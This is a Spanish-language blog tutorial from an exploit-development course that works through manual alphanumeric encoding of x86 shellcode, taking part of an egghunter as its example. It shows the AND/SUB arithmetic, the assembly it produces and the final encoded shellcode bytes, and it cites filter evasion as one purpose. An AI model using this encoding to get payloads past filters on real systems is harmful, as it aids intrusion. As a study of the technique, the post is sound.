12 septiembre 2019

Un Vistazo por Alphanumeric coding


En el curso de Cracking the Perimeter (CTP), me toco tratar con la codificación Alfanumérica, me encontré esto muy entretenido y quise escribir una breve descripción de como es la codificación por debajo que usa este encode.

Una de las ventaja de este encode, es que, permite pasar su contenido a número, evita la presencia visible de caracteres nulos, evade uno que otro mecanismos de seguridad, etc.

Hay muchos scripts y herramienta que hacen esto de forma automatizadas como alpha_mixed de metasploit, mona.py, etc. Pero en esta ocasión vamos a ver una modalidad en que se puede hacer usando cálculos matemáticos y realizándolo de forma manual.

Antes de empezar vamos a hablar de dos direcciones que al usar la lógica AND nos dan como resultado 0 en el registro que usemos, que serian la siguientes:

and eax,0x554E4D4A
and eax,0x2A313235

554E4D4A AND 2A313235 = 0


Para este ejemplo vamos a tomar los últimos 12 bytes de un egghunter que serian estos: \x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7

Tratare de explicarlo lo más simple y entendible que se pueda. Empecemos

 Tenemos este código

\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7

Ahora lo dejamos limpio sin los \x (que también se podemos interpretarlo como ejecuta de aquí y sin importa si viene en mayúscula o minúscula)

Quedaría así

30578bfaaf75eaaf75e7ffe7

Ahora creamos bloques de 4 para realizar el calculo

30578bfa
af75eaaf
75e7ffe7

Para realizar el primer calculo, hay que restarle a la dirección de memoria completa, la dirección de memoria que tenemos o como lo dividimos en bloques de cuatro. Aquí se pasa a la inversa (Little-Endian)

FFFFFFFF - e7ffe775 + 1 = 1800188B
FFFFFFFF - afea75af + 1 = 50158A51
FFFFFFFF - fa8b5730 + 1 = 0574a8d0

Ahora lo dividimos en 3 (La idea es que al restar los 3 valores el resultado de cero)

18 00 18 8B = 5d555d2e + 5d555d2e + 5d555e2f
50 15 8A 51 = 6f5c2d70 + 6f5c2d70 + 715d2f71
05 74 a8 d0 = 57263845 + 57263845 + 57283846

En algunos caso te puede dar como resultado 00 y como este es un carácter nulo, hay que agregarle un 1 y quedaría así 100.

En otros casos, lo podemos transformar a ff como es el segundo de la primera fila, lo calculamos así: ff - ff= 00  Y usamos el valor 55 + 55 + 55 = ff

En otros casos hay que agregarle 1 al valor para que no te de un valor en negativo. Ejemplo:

05 - 57 - 57 - 57 = -100 Pero al agregar 1 seria 105 - 57 - 57 - 57 = 0


Ya que tenemos la direcciones de memoria, lo que se vería así

and eax,0x554E4D4A
and eax,0x2A313235
sub eax,0x5d555d2e
sub eax,0x5d555d2e
sub eax,0x5d555e2f
push eax

and eax,0x554E4D4A
and eax,0x2A313235
sub eax,0x6f5c2d70
sub eax,0x6f5c2d70
sub eax,0x715d2f71
push eax

and eax,0x554E4D4A
and eax,0x2A313235
sub eax,0x57263845
sub eax,0x57263845
sub eax,0x57283846
push eax

Y para pasarlo a nuestros código, quedaría así :)


\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2e\x5d\x55\x5d\x2d\x2e\x5d\x55\x5d\x2d\x2f\x5e\x55\x5d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x70\x2d\x5c\x6f\x2d\x70\x2d\x5c\x6f\x2d\x71\x2f\x5d\x71\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x38\x26\x57\x2d\x45\x38\x26\x57\x2d\x46\x38\x28\x57\x50


Referencias:

https://github.com/corelan/mona/blob/master/mona.py
https://www.rapid7.com/db/modules/encoder/x86/unicode_mixed
https://github.com/SkyLined/alpha3

1 comentario:

Las Publicaciones más Vistas

Comandos Drozer Pentest Móvil